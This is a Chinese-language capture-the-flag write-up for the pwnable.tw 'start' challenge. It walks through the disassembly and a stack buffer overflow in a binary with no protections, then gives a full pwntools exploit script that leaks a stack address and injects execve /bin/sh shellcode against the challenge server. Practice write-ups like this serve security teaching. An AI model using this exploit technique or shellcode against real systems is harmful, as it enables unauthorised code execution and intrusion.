拖入IDS,查看汇编代码
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd 1: stdout
.text:0804808D mov al, 4 ; write
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx ; fb 0: stdin
.text:08048093 mov dl, 3Ch ; '<' ; len
.text:08048095 mov al, 3 ; read
.text:08048097 int 80h ; LINUX - sys_read
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
从汇编代码中可以看出,长度为0x14的字符串全被压入了栈中;同时write打印0x14的字符串,而read读入0x3C的字符串,此处有栈溢出漏洞。并且通过checksec命令可以得出本程序没有开任何的保护,想到的漏洞利用方法便是把shellcode写入栈中,然后控制程序执行流到shellcode处即可getshell。
第一次输入的时候,输入0x14填充字符,外加0x08048087的地址,控制程序跳到这个地址处,再次执行write系统调用,输出esp作为地址的0x14长度字符串,由于_start开始的时候push了一个esp的值,接受前4个字节,即可以得到old esp地址。接下来,构造payload:0x14长度的填充字符,加上返回到shellcode的地址(注意: 由于取出的是之前push进去的esp的值,所以shellcode地址计算是+0x14而不是现在esp对应的+0x18),加上符合长度要求的shellcode。
Debug小技巧:
python file: raw_input('>')
; terminal: gdb -p $(pidof start)
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#io = process('./start')
io = remote("chall.pwnable.tw", 10000)
offset = 0x14
mov_ecx_esp = 0x08048087
#shellcode = asm(shellcraft.i386.linux.sh()) length does not meet requirement.
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
payload = b'a'*offset + p32(mov_ecx_esp)
io.sendafter("Let's start the CTF:", payload)
old_esp = u32(io.recv(4))
payload = b'a'*offset + p32(old_esp + 0x14) + shellcode
io.send(payload)
io.interactive()